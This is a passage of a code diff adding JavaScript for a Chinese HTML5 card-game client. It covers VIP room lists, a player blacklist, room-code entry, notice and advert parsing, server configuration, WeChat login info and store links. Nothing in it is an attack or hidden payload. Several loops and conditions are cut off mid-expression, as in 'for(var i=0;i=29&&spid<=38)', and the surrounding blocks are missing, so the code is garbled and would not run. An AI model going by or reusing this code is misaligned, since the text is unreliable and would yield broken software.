data.shortcodeList = GameData.vipRoomShortList; + Net.Send_getInfoByShortCode(data); + +} +GameUI.closeVipRoomList = function() { + GameData.vipRoomJump = false; + set_group(103, 37, 0, 0, 0); + set_self(234, 37, 1, 0, 0); +} +//设置vip房间列表数据 +GameUI.setVipRoomListData = function(data) { + //移除已经从列表中删除的房间 + var temp = []; + for (var i = 0; i < GameData.vipRoomShortList.length; i++) { + var indx = min_ary_indexof(data, GameData.vipRoomShortList[i], "shortCode"); + if (indx > -1) { + temp.push(data[indx]); + } + } + GameData.vipRoomData = temp; +} +GameUI.updateVipRoomList = function() { + if (get_self(6, 37, 0, 0, 0)) { + switch (GameData.vipRoomPage) { + case 0: + GameUI.goVipPageOne(); + + break; + case 1: + GameUI.goVipPageTwo(); + break; + } + } +} +GameUI.goVipPageOne = function() { + GameData.vipRoomPage = 0; + set_self(ConstVal.vipRoomList2.f_spid, 37, 0, 0, 0); + set_self(3174, 43, 1, 0, 0); + set_self(3175, 37, 0, 0, 0); + set_self(3199, 37, 0, 0, 0); + set_self(3259, 37, 0, 0, 0); + GameUI.createVipRoomListPageOne(); +} +GameUI.goVipPageTwo = function() { + GameData.vipRoomPage = 1; + set_self(ConstVal.vipRoomList1.f_spid, 37, 0, 0, 0); + set_self(3174, 43, 2, 0, 0); + set_self(3175, 37, 1, 0, 0); + set_self(3199, 37, 1, 0, 0); + //set_self(3259, 37, 1, 0, 0); + //if(){ + + //} + GameUI.createVipRoomListPageTwo(); +} +//创建vip房间列表页一 +GameUI.createVipRoomListPageOne = function() { + set_self(ConstVal.vipRoomList1.f_spid, 37, 1, 0, 0); + if (GameData.vipRoomPageOne.cLength != GameData.vipRoomData.length) { + //set_self(ConstVal.vipRoomList1.f_spid,37,1,0,0); + GameUI.removeVipRoomListPageOne(); + var space = ConstVal.vipRoomList1.space; + set_self(ConstVal.vipRoomList1.f_spid, 18, ConstVal.vipRoomList1.clip_x, 0, 0); + set_self(ConstVal.vipRoomList1.f_spid, 19, ConstVal.vipRoomList1.clip_y, 0, 0); + set_self(ConstVal.vipRoomList1.f_spid, 20, ConstVal.vipRoomList1.clip_w, 0, 0); + set_self(ConstVal.vipRoomList1.f_spid, 21, space * GameData.vipRoomData.length, 0, 0); + for (var i = 0; i < GameData.vipRoomData.length; i++) { + //背景 + var bg = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.bg_spid, 0, space * i, ConstVal.vipRoomList1.bg_tag + i); + //标题 + var title = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.title_spid, ConstVal.vipRoomList1.title_x, ConstVal.vipRoomList1.title_y + space * i, ConstVal.vipRoomList1.title_tag + i); + var tTxt = "vip房间"; + if (GameData.vipRoomData[i].destwo) { + tTxt = GameData.vipRoomData[i].destwo; + } + set_self(title, 7, tTxt, 0, 0); + var des = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.des_spid, ConstVal.vipRoomList1.des_x, ConstVal.vipRoomList1.des_y + space * i, ConstVal.vipRoomList1.des_tag + i); + //描述 + if (GameData.vipRoomData[i].roomcodes) { + var dTxt = ""; + if (GameData.vipRoomData[i].roomcodes) { + dTxt = Game_Modify.getFullRoomInfo(GameData.vipRoomData[i].roomcodes.roomtype); + } + set_self(des, 7, dTxt, 0, 0); + } else { + set_self(des, 7, "房主还未创建房间!", 0, 0); + } + + //房号 + var code = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.code_spid, ConstVal.vipRoomList1.code_x, ConstVal.vipRoomList1.code_y + space * i, ConstVal.vipRoomList1.code_tag + i); + var cTxt = GameData.vipRoomData[i].shortCode; + set_self(code, 7, cTxt, 0, 0); + //房主 + var owner = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.owner_spid, ConstVal.vipRoomList1.owner_x, ConstVal.vipRoomList1.owner_y + space * i, ConstVal.vipRoomList1.owner_tag + i); + var oTxt = GameData.vipRoomData[i].owner; + set_self(owner, 7, oTxt, 0, 0); + //人数 + var count = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.count_spid, ConstVal.vipRoomList1.count_x, ConstVal.vipRoomList1.count_y + space * i, ConstVal.vipRoomList1.count_tag + i); + var coTxt = 0; + for (var j = 0; j < GameData.vipRoomData[i].playerList.length; j++) { + for (var k = 0; k < GameData.vipRoomData[i].playerList[j].length; k++) { + if (GameData.vipRoomData[i].playerList[j][k]) { + coTxt++; + } + } + } + set_self(count, 7, coTxt + " (人)", 0, 0); + //关闭 + //var del = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid,ConstVal.vipRoomList1.del_spid, + //ConstVal.vipRoomList1.del_x,ConstVal.vipRoomList1.del_y + space * i,ConstVal.vipRoomList1.del_tag + i); + var enter = ifast_addtospritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.enter_spid, ConstVal.vipRoomList1.enter_x, ConstVal.vipRoomList1.enter_y + space * i, ConstVal.vipRoomList1.enter_tag + i); + + } + GameData.vipRoomPageOne.cLength = GameData.vipRoomData.length; + + } else { + for (var i = 0; i < GameData.vipRoomData.length; i++) { + //背景 + var tag = ConstVal.vipRoomList1.bg_tag + i; + var bg = ConstVal.vipRoomList1.f_spid + "add" + tag; + //标题 + tag = ConstVal.vipRoomList1.title_tag + i; + var title = ConstVal.vipRoomList1.f_spid + "add" + tag; + var tTxt = "vip房间"; + if (GameData.vipRoomData[i].destwo) { + tTxt = GameData.vipRoomData[i].destwo; + } + set_self(title, 7, tTxt, 0, 0); + //描述 + tag = ConstVal.vipRoomList1.des_tag + i; + var des = ConstVal.vipRoomList1.f_spid + "add" + tag; + if (GameData.vipRoomData[i].roomcodes) { + var dTxt = ""; + if (GameData.vipRoomData[i].roomcodes) { + dTxt = Game_Modify.getFullRoomInfo(GameData.vipRoomData[i].roomcodes.roomtype); + } + set_self(des, 7, dTxt, 0, 0); + } else { + set_self(des, 7, "房主还未创建房间!", 0, 0); + } + //房号 + tag = ConstVal.vipRoomList1.code_tag + i; + var code = ConstVal.vipRoomList1.f_spid + "add" + tag; + var cTxt = GameData.vipRoomData[i].shortCode; + set_self(code, 7, cTxt, 0, 0); + //房主 + tag = ConstVal.vipRoomList1.owner_tag + i; + var owner = ConstVal.vipRoomList1.f_spid + "add" + tag; + var oTxt = GameData.vipRoomData[i].owner; + set_self(owner, 7, oTxt, 0, 0); + //人数 + tag = ConstVal.vipRoomList1.count_tag + i; + var count = ConstVal.vipRoomList1.f_spid + "add" + tag; + var coTxt = 0; + for (var j = 0; j < GameData.vipRoomData[i].playerList.length; j++) { + for (var k = 0; k < GameData.vipRoomData[i].playerList[j].length; k++) { + if (GameData.vipRoomData[i].playerList[j][k]) { + coTxt++; + } + } + } + set_self(count, 7, coTxt + " (人)", 0, 0); + + } + } +} +//删除vip房间列表页一 +GameUI.removeVipRoomListPageOne = function() { + for (var i = 0; i < GameData.vipRoomPageOne.cLength; i++) { + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.bg_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.title_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.code_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.owner_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.count_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.del_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList1.f_spid, ConstVal.vipRoomList1.des_tag + i); + } + GameData.vipRoomPageOne.cLength = 0; +} +//创建vip房间列表页二 +GameUI.createVipRoomListPageTwo = function() { + var indx = min_ary_indexof(GameData.vipRoomData, GameData.vipRoomCode, "shortCode"); + if (indx > -1) { + set_self(ConstVal.vipRoomList2.f_spid, 37, 1, 0, 0); + var rData = GameData.vipRoomData[indx]; + if (!rData.roomcodes) { + return; + } + GameData.vipRoomPageTwo.data = rData; + set_self(3259, 37, 1, 0, 0); + if(GameData.vipRoomPageTwo.data.forbidSelect){ + set_self(3259, 7, " 比赛模式\n禁止自由选桌", 0, 0); + }else{ + set_self(3259, 7, " 普通模式\n允许自由选桌", 0, 0); + } + // if(GameData.vipRoomPageTwo.cLength != rData.playerList.length){ + if (GameData.vipRoomPageTwo.cLength != rData.roomcodes.roomlist.length) { + //set_self(ConstVal.vipRoomList2.f_spid,37,1,0,0); + GameUI.removeVipRoomListPageOne(); + var spaceX = ConstVal.vipRoomList2.spaceX; + var spaceY = ConstVal.vipRoomList2.spaceY; + set_self(ConstVal.vipRoomList2.f_spid, 18, ConstVal.vipRoomList2.clip_x, 0, 0); + set_self(ConstVal.vipRoomList2.f_spid, 19, ConstVal.vipRoomList2.clip_y, 0, 0); + set_self(ConstVal.vipRoomList2.f_spid, 20, spaceX * 2, 0, 0); + set_self(ConstVal.vipRoomList2.f_spid, 21, spaceY * Math.ceil(rData.playerList.length / 2), 0, 0); + for (var i = 0; i < rData.playerList.length; i++) { + var plx = (i % 2) * spaceX; + var ply = spaceY * Math.floor(i / 2); + //背景 + var bg = ifast_addtospritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.bg_spid, plx, ply, ConstVal.vipRoomList2.bg_tag + i); + if(rData.deskState[i]){ + set_self(bg,43,2,0,0); + }else{ + set_self(bg,43,1,0,0); + } + //桌号 + var code = ifast_addtospritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.code_spid, plx + ConstVal.vipRoomList2.code_x, ply + ConstVal.vipRoomList2.code_y, ConstVal.vipRoomList2.code_tag + i); + //set_self(code, 7, rData.roomcodes.roomlist[i], 0, 0); + var dTag = i + 1; + set_self(code, 7, dTag, 0, 0); + set_self(code, 20, String(dTag).length * 23, 0, 0); + GameUI.adaptPositionSpid(code,bg); + //人数 + var count = ifast_addtospritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.count_spid, plx + ConstVal.vipRoomList2.count_x, ply + ConstVal.vipRoomList2.count_y, ConstVal.vipRoomList2.count_tag + i); + var coTxt = 0; + for (var k = 0; k < rData.playerList[i].length; k++) { + if (rData.playerList[i][k]) { + coTxt++; + } + } + var cTxt = "人数:" + coTxt + "/" + rData.seatCount[i]; + set_self(count, 7, cTxt, 0, 0); + set_self(count, 20, cTxt.gblen() * ConstVal.vipRoomList2.countW, 0, 0); + GameUI.adaptPositionX(count, plx + get_self(ConstVal.vipRoomList2.bg_spid, 20, 0, 0, 0) / 2); + } + GameData.vipRoomPageTwo.cLength = rData.playerList.length; + } else { + for (var i = 0; i < rData.playerList.length; i++) { + var plx = (i % 2) * ConstVal.vipRoomList2.spaceX; + var tag = ConstVal.vipRoomList2.code_tag + i; + var code = ConstVal.vipRoomList2.f_spid + "add" + tag; + set_self(code, 7, rData.roomcodes.roomlist[i], 0, 0); + tag = ConstVal.vipRoomList2.bg_tag + i; + var bg = ConstVal.vipRoomList2.f_spid + "add" + tag; + if(rData.deskState[i]){ + set_self(bg,43,2,0,0); + }else{ + set_self(bg,43,1,0,0); + } + var tag = ConstVal.vipRoomList2.count_tag + i; + var count = ConstVal.vipRoomList2.f_spid + "add" + tag; + var coTxt = 0; + for (var k = 0; k < rData.playerList[i].length; k++) { + if (rData.playerList[i][k]) { + coTxt++; + } + } + var cTxt = "人数:" + coTxt + "/" + rData.seatCount[i]; + set_self(count, 7, cTxt, 0, 0); + set_self(count, 20, cTxt.gblen() * ConstVal.vipRoomList2.countW, 0, 0); + GameUI.adaptPositionX(count, plx + get_self(ConstVal.vipRoomList2.bg_spid, 20, 0, 0, 0) / 2); + + }; + } + } else { + GameUI.removeVipRoomListPageOne(); + } +} +//删除vip房间列表页二 +GameUI.removeVipRoomListPageTwo = function() { + for (var i = 0; i < GameData.vipRoomPageTwo.cLength; i++) { + ifast_dllpritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.bg_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.code_tag + i); + ifast_dllpritefromspritecopy(ConstVal.vipRoomList2.f_spid, ConstVal.vipRoomList2.count_tag + i); + } + GameData.vipRoomPageTwo.cLength = 0; +} +var playeridInputCallBack = function(data){ + //if(String(data).length == 6){ + GameData.allCharm = Number(data); + Utl.closeInputPanel(); + GameUI.setNumberImage(3197,data,23); + GameUI.adaptPositionSpid(3197,3196); + //}else{ + //GameUI.OpenTips("玩家id长度为6位!",ConstVal.Tips.time); + //} +} +GameUI.setTextSpid = function(spid,msg,width){ + set_self(spid,7,msg,0,0,0); + set_self(spid,20,String(msg).gblen()*width,0,0,0); + console.log(msg,String(msg).gblen()); +} +GameUI.openBlackList = function(){ + set_group(104,37,1,0,0); + GameData.blackList.inputId = ""; + if(GameData.blackList.inputId){ + //set_self(3212,7,GameData.blackList.inputId,0,0); + GameUI.setTextSpid(3212,GameData.blackList.inputId,GameData.blackList.idWidth); + + }else{ + //set_self(3212,7,"点击输入玩家ID",0,0); + GameUI.setTextSpid(3212,"点击输入玩家ID",GameData.blackList.idWidth); + } + set_self(3261,7,"解散该玩家所在房间(已开战提前解散)",0,0); + //blackInputCallBack(""); + GameUI.adaptPositionSpid(3212,3205); + GameUI.createBlackList(); +} +GameUI.closeBlackList = function(){ + set_group(104,37,0,0,0); +} +var blackInputCallBack = function(data){ + if(String(data).length == 6){ + Utl.closeInputPanel(); + GameData.blackList.inputId = data; + if(GameData.blackList.inputId){ + //set_self(3212,7,GameData.blackList.inputId,0,0); + GameUI.setTextSpid(3212,GameData.blackList.inputId,GameData.blackList.idWidth); + }else{ + //set_self(3212,7,"点击输入玩家ID",0,0); + GameUI.setTextSpid(3212,"点击输入玩家ID",GameData.blackList.idWidth); + } + GameUI.adaptPositionSpid(3212,3205); + }else{ + GameUI.OpenTips("玩家id长度为6位!",ConstVal.Tips.time); + } +} +GameUI.createBlackList = function(){ + GameUI.removeBlackList(); + set_self(ConstVal.blackList.f_spid,18,ConstVal.blackList.clip_x,0,0); + var space = get_self(ConstVal.blackList.bg_spid,21,0,0,0) + ConstVal.blackList.space; + var listLength = GameData.blackList.data.length; + set_self(ConstVal.blackList.f_spid,21,listLength*space,0,0); + for(var i=0;i=29&&spid<=38){//房间号码输入 + if(RoomCode.length<=5){ + + + RoomCode+=String(spid-29); + RoomNum = Number(RoomCode); + } + if(RoomCode.length==6){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = RoomNum; + Net.Send_self_join_room(data); + } + } + if(spid==39){//重输 + RoomNum=-1; + RoomCode=""; + } + if(spid==40){//删除 + RoomCode = RoomCode.substring(0,RoomCode.length-1); + RoomNum = Number(RoomCode); + } + for(var i=0;i<6;i++){ + set_self(236+i,37,0,0,0); + } + for(var i=0;i6){ + _text=String(c_text).substr(0,6); + } + RoomCode = String(_text); + RoomNum = Number(_text); + for(var i=0;i<6;i++){ + set_self(236+i,37,0,0,0); + } + for(var i=0;imax_length){ + max_length = lenTemp; + } + } + GameData.noticePara[1][1] = max_length*ConstVal.Notice.textWidth; + GameData.advertInfo_1.msg = min_replaceAll(advert1_msg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + } + var advert1_url = menunotice.advert1.url; + if(advert1_url){ + GameData.advertInfo_1.url = advert1_url; + } + }else{ + GameData.advertInfo_1.imgUrl = menunotice.advert1.imgUrl; + GameData.advertInfo_1.imgAdUrl = menunotice.advert1.imgAdUrl; + GameData.advertInfo_1.height = menunotice.advert1.height; + } + } + if(menunotice.advert2){ + GameData.advertInfo_2.type = menunotice.advert2.type; + if(!menunotice.advert2.type){ + var advert2_msg = menunotice.advert2.msg; + if(advert2_msg){ + GameData.Notice.lineSum = Math.ceil(Func.getKeywordCount(advert2_msg,ConstVal.Notice.replaceOldWord)/2);; + GameData.noticePara[2][0] = GameData.Notice.lineSum*ConstVal.Notice.lineHeight+ConstVal.Notice.textHeight; + var strArray = advert2_msg.split(ConstVal.Notice.replaceOldWord); + var max_length=0; + for(var k=0;kmax_length){ + max_length = lenTemp; + } + } + GameData.noticePara[2][1] = max_length*ConstVal.Notice.textWidth; + GameData.advertInfo_2.msg = min_replaceAll(advert2_msg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + } + + var advert2_url = menunotice.advert2.url; + + if(advert2_url){ + GameData.advertInfo_2.url = advert2_url; + } + }else{ + GameData.advertInfo_2.imgUrl = menunotice.advert2.imgUrl; + GameData.advertInfo_2.imgAdUrl = menunotice.advert2.imgAdUrl; + GameData.advertInfo_2.height = menunotice.advert2.height; + } + } + + if(menunotice.advert0){ + GameData.advertInfo_0.type = menunotice.advert0.type; + if(!menunotice.advert0.type){ + var noticemsg = menunotice.advert0.msg; + if(noticemsg){ + GameData.Notice.lineSum = Math.ceil(Func.getKeywordCount(noticemsg,ConstVal.Notice.replaceOldWord)/2); + + GameData.noticePara[0][0] = GameData.Notice.lineSum*ConstVal.Notice.lineHeight+ConstVal.Notice.textHeight; + var strArray = noticemsg.split(ConstVal.Notice.replaceOldWord); + var max_length=0; + for(var k=0;kmax_length){ + max_length = lenTemp; + } + } + + GameData.noticePara[0][1] = max_length*ConstVal.Notice.textWidth; + Game_Config.Setting.board = min_replaceAll(noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + GameData.advertInfo_0.msg = min_replaceAll(noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + var advert0_url = menunotice.advert0.url; + + if(advert0_url){ + GameData.advertInfo_0.url = advert0_url; + } + } + }else{ + GameData.advertInfo_0.imgUrl = menunotice.advert0.imgUrl; + GameData.advertInfo_0.imgAdUrl = menunotice.advert0.imgAdUrl; + GameData.advertInfo_0.height = menunotice.advert0.height; + } + }else{ + var noticemsg = get_paravalue(GameData.serverConfig, "noticemsg"); + if(noticemsg){ + GameData.Notice.lineSum = Math.ceil(Func.getKeywordCount(noticemsg,ConstVal.Notice.replaceOldWord)/2); + + GameData.noticePara[0][0] = GameData.Notice.lineSum*ConstVal.Notice.lineHeight+ConstVal.Notice.textHeight; + var strArray = noticemsg.split(ConstVal.Notice.replaceOldWord); + var max_length=0; + for(var k=0;kmax_length){ + max_length = lenTemp; + } + } + + GameData.noticePara[0][1] = max_length*ConstVal.Notice.textWidth; + Game_Config.Setting.board = min_replaceAll(noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + GameData.advertInfo_0.msg = min_replaceAll(noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + }else{ + GameData.advertInfo_0.msg = ""; + GameData.isBoard=false; + } + } + }else{ + var noticemsg = get_paravalue(GameData.serverConfig, "noticemsg"); + if(noticemsg){ + GameData.Notice.lineSum = Math.ceil(Func.getKeywordCount(noticemsg,ConstVal.Notice.replaceOldWord)/2); + + GameData.noticePara[0][0] = GameData.Notice.lineSum*ConstVal.Notice.lineHeight+ConstVal.Notice.textHeight; + var strArray = noticemsg.split(ConstVal.Notice.replaceOldWord); + var max_length=0; + for(var k=0;kmax_length){ + max_length = lenTemp; + } + } + + GameData.noticePara[0][1] = max_length*ConstVal.Notice.textWidth; + Game_Config.Setting.board = min_replaceAll(noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + GameData.advertInfo_0.msg = min_replaceAll(noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + }else{ + GameData.advertInfo_0.msg = ""; + GameData.isBoard=false; + } + } + +} +Logic.setConfigInfo = function(){ + var scrollmsg = get_paravalue(GameData.serverConfig,"scrollmsg"); + var wechat_gzh = get_paravalue(GameData.serverConfig,"WechatPublicNo_name"); + var wechat_kfh = get_paravalue(GameData.serverConfig,"service_wechat"); + var qq = get_paravalue(GameData.serverConfig,"service_qq"); + var tel = get_paravalue(GameData.serverConfig,"service_tel"); + var appdownload = get_paravalue(GameData.serverConfig,"url_download"); + var wechat_ewm = get_paravalue(GameData.serverConfig,"WechatPublicNo_ewm"); + var topuphtml = get_paravalue(GameData.serverConfig,"url_topup"); + var sharename = get_paravalue(GameData.serverConfig,"sharename"); + var hall_config = get_paravalue(GameData.serverConfig,"hall_config"); + var game_config = get_paravalue(GameData.serverConfig,"game_config"); + var matchhtml = get_paravalue(GameData.serverConfig,"url_match"); + var agentmode = get_paravalue(GameData.serverConfig,"agentmode"); + var rankList = get_paravalue(GameData.serverConfig,"rankList1"); + var shareImage = get_paravalue(GameData.serverConfig,"game_share_image"); + var isdebugger = get_paravalue(GameData.serverConfig,"isdebugger"); + var payurl = get_paravalue(GameData.serverConfig,"payurl"); + var h5shareurl = get_paravalue(GameData.serverConfig,"h5shareurl"); + var _roomCardName = get_paravalue(GameData.serverConfig,"roomCardName"); + var _starName = get_paravalue(GameData.serverConfig,"starName"); + var ads = get_paravalue(GameData.serverConfig,"Ads"); + var _nameImgFrame_1 = get_paravalue(GameData.serverConfig,"nameImgFrame_1"); + var _nameImgFrame_2 = get_paravalue(GameData.serverConfig,"nameImgFrame_2"); + var noticelimit = get_paravalue(GameData.serverConfig,"noticelimit"); + var noticecost = get_paravalue(GameData.serverConfig,"noticecost"); + GameData.rebateConfig = get_paravalue(GameData.serverConfig,"rebateConfig"); + GameData.brNumber = get_paravalue(GameData.serverConfig,"brNumber"); + GameData.brRebateUnit = get_paravalue(GameData.serverConfig,"brRebateUnit"); + GameData.vipConfig = get_paravalue(GameData.serverConfig,"vipConfig"); + + for(var i=0;i-1){ + return 0; + } + return 1; +} +Logic.getWxInfo = function(){ + //*url=url+"?nickname="+encodeURI(wxInfo.nickname) + //+"&sex="+wxInfo.sex+"&city="+encodeURI(wxInfo.city)+ + //"&province="+encodeURI(wxInfo.province)+"&headimgurl="+*wxInfo.headimgurl+ + //* "&unionid="+wxInfo.unionid+"&openid="+wxInfo.openid+" + //&agentid="+gameconfig.agentid+"&channelid="+gameconfig.channelid+"&sid="+sid+"&scode="+scode; + var rValue = { + nickname : decodeURI(fGetQuery("nickname")), + sex : fGetQuery("sex"), + city : decodeURI(fGetQuery("city")), + Province : decodeURI(fGetQuery("province")), + unionid : fGetQuery("unionid"), + headimgurl : fGetQuery("headimgurl"), + openid : fGetQuery("openid") + } + return JSON.stringify(rValue); + + +} +Logic.getShareDataObj = function(title,desc,_gameData){ + var _link = GameData.h5ShareUrl+"?agentid="+GameData.AgentId+"&channelid="+GameData.ChannelId+"&gameid="+GameData.GameId; + if(GameData.gameData){ + _link = _link + "&gameData="+GameData.gameData; + } + var rValue = { + title:title, + desc:desc, + link:_link, + imgUrl:GameData.h5ShareImage + } + return rValue; +} + Logic.getShareDataObj1 = function(title,desc,_gameData){ + var _link = GameData.h5ShareUrl+"?agentid="+GameData.AgentId+"&channelid="+GameData.ChannelId+"&gameid="+GameData.GameId; + //if(GameData.gameData){ + //_link = _link + "&gameData="+GameData.gameData; + //} + var rValue = { + title:title, + desc:desc, + link:_link, + imgUrl:GameData.h5ShareImage + } + return rValue; +} +Logic.setGameData = function(_rpc,_data){ + var rValue = { + rpc:_rpc, + data:_data + } + return encodeURI(JSON.stringify(rValue)); +} +Logic.getGameDataFromH5 = function(){ + var _data = fGetQuery("gameData"); + if(_data){ + _data = decodeURI(_data); + if(typeof _data == "string"){ + GameData.fromH5GameData = JSON.parse(_data); + } + }else{ + GameData.fromH5GameData = {}; + } + +} +Logic.joinRoomFromH5 = function(){ + + if(!ConstVal.isGameHall && !GameData.isKick){ + switch(GameData.fromH5GameData.rpc){ + case h5RpcList.joinRoom: + if(!GameData.isJoinRoomFromH5){ + GameData.checkType = 5; + GameUI.openCheck("是否进入房间?"); + //var data={}; + //data.agentid=GameData.AgentId; + //data.gameid=GameData.GameId; + //data.playerid=C_Player.playerid; + //data.roomcode=GameData.fromH5GameData.data.roomcode; + //Net.Send_self_join_room(data); + } + break; + default: + + break; + } + } +} +Logic.setOwnerNote = function(_msg){ + GameData.ownerNote = min_replaceAll(_msg,"#","\n",false); +} +Logic.convertToScaleXOrWidth = function(_value){ + return Number(_value)*(document.getElementById("canvas").clientWidth/1280); +} +Logic.convertToScaleYOrHeight = function(_value){ + return Number(_value)*(document.getElementById("canvas").clientHeight/720); +} +Logic.setHTMLId = function(_msg){ + var str = _msg.match(/id=\"(\S*)\"/)[1]; + GameData.htmlId = str; + return str; +} +Logic.getHTML = function(){ + return; + //if(!GameData.hallConfig.activity){ + //return; + //} + if(isArray(GameData.hallConfig.activity)){ + try{ + var x = Logic.convertToScaleXOrWidth(GameData.hallConfig.activity[0]); + var cx = Logic.convertToScaleXOrWidth(GameData.hallConfig.activity[2]); + var y = Logic.convertToScaleYOrHeight(GameData.hallConfig.activity[1]); + var cy = Logic.convertToScaleYOrHeight(GameData.hallConfig.activity[3]); + var from = 0; + GameData.OS == ConstVal.OS.other ? from = 1 : from = 0; + var url = min_replaceAll(window.location.href,"index.html","activity/index.html#/index",false); + if(url.indexOf("?")>-1){ + url = url.substring(0,url.indexOf("?")); + } + + var cfg = {}; + if(GameData.hallConfig.activity.length > 5){ + cfg.url = GameData.hallConfig.activity[5] + "?" + min_timestamp(); + }else{ + cfg.url = "https://games.tscce.cn/gameextend/index.php" + "?" + min_timestamp(); + } + //cfg.url = "https://games.tscce.cn/gameextend/index.php" + "?" + min_timestamp(); + cfg.type = "POST"; + cfg.data = "x="+x+"&y="+y+"&cx="+cx+"&cy="+cy+"&playerId="+C_Player.playerid+"&agentId="+GameData.AgentId+ + "&gameId="+GameData.GameId+"&channelId="+GameData.ChannelId+"&from="+from+"&openid="+C_Player.openid+ + "&unionid="+C_Player.unionid+"&nickname="+encodeURIComponent(C_Player.nickname)+"&headimg="+encodeURIComponent(C_Player.avatar) + +"&url="+encodeURIComponent(url); + console.log("cfg.data=/n"+cfg.data); + cfg.success = htmlSuccess; + cfg.error = htmlFail; + min_http(cfg); + }catch(e){ + Net.submit_error(_msg+e.stack,"getHTML Error!"); + } + } +} + +function htmlSuccess(_msg,state,input_msg){ + try{ + if(GameData.htmlId){ + var dom = document.getElementById(GameData.htmlId); + if(dom){ + dom.parentNode.removeChild(dom); + } + } + Logic.setHTMLId(_msg); + //gameLog("2GameData.htmlId"+GameData.htmlId,1); + var element=document.getElementById("ifastgame"); + element.insertAdjacentHTML('beforeend',_msg); + GameUI.updateInsertHTML(); + }catch(e){ + Net.submit_error(_msg+e.stack,"getHTML htmlSuccess Error!"); + } + +} +function htmlFail(_msg,state,input_msg){ + Net.submit_error(_msg,"getHTML Error!"); +} +//发送请求到web +Logic.sendToWeb = function(_sendUrl,actId){ + try{ + if(!isArray(GameData.hallConfig.activity)){ + return; + }else{ + if(GameData.hallConfig.activity.length>=5){ + if(GameData.hallConfig.activity[4] == 0){ + return; + } + } + } + var data="channel_id="+GameData.ChannelId+"&agent_id="+GameData.AgentId+"&imagurl="+C_Player.avatar+"&name="+min_encode(C_Player.nickname)+ + "&player_id="+C_Player.playerid+"&game_id="+GameData.GameId+"&active_id="+actId+"&open_id="+C_Player.openid+"&union_id="+C_Player.unionid; + Func.AjaxHttp3(_sendUrl,data,function(_msg,state,input_msg){ + _msg = JSON.parse(_msg); + GameUI.OpenTips(_msg.msg); + },function(_msg,state,input_msg){ + _msg = JSON.parse(_msg); + GameUI.OpenTips(_msg.msg); + }); + }catch(e){ + + } +} +//获取机器码 +Logic.getMachineId = function(){ + var rValue = ""; + if(Utl.checkKey(Utl.Config.machineId)){//存在 + rValue = Utl.ReadData(Utl.Config.machineId); + }else{//不存在 + var timestamp = min_timestamp(); + var ramdom = 1000 + ifast_random(8999); + rValue = String(timestamp) +"-"+ String(ramdom); + Utl.SaveData(Utl.Config.machineId,rValue); + } + return rValue; +} +//跳转商城 +Logic.jumpToStore = function(){ + if(GameData.hallConfig.storeUrl){ + var pnid = 0; + if(C_Player.invitecode){ + pnid = C_Player.invitecode; + } + var _urlData = "channelId="+GameData.ChannelId+"&agentId="+GameData.AgentId+"&avatar="+min_encode(C_Player.avatar)+"&nickname="+min_encode(C_Player.nickname)+ + "&playerId="+C_Player.playerid+"&gameId="+GameData.GameId+"&openId="+C_Player.openid+"&unionId="+C_Player.unionid + +"&sex="+C_Player.sex+"&bean="+C_Player.bean+"&parentID="+pnid; + + Func.OpenurlTitleData(GameData.hallConfig.storeUrl+"?"+_urlData,"",""); + }else{ + GameUI.OpenTips("商城暂未开放,敬请期待!",ConstVal.Tips.time); + } +} +//跳转背包 +Logic.jumpToBag = function(){ + GameUI.closePallet(); + if(GameData.hallConfig.bagUrl){ + var _urlData = "channelId="+GameData.ChannelId+"&agentId="+GameData.AgentId+"&avatar="+min_encode(C_Player.avatar)+"&nickname="+min_encode(C_Player.nickname)+ + "&playerId="+C_Player.playerid+"&gameId="+GameData.GameId+"&openId="+C_Player.openid+"&unionId="+C_Player.unionid + +"&sex="+C_Player.sex+"&bean="+C_Player.bean; + //var ort=fGetQuery1(GameData.hallConfig.storeUrl,"orientation"); + Func.OpenurlTitleData(GameData.hallConfig.bagUrl+"?"+_urlData,"",""); + }else{ + + } +} +//发送请求到web2 +Logic.sendToWeb2 = function(_sendUrl,event){ + try{ + //if(!isArray(GameData.hallConfig.actData)){ + //return; + //} + //if(GameData.hallConfig.actData[1] 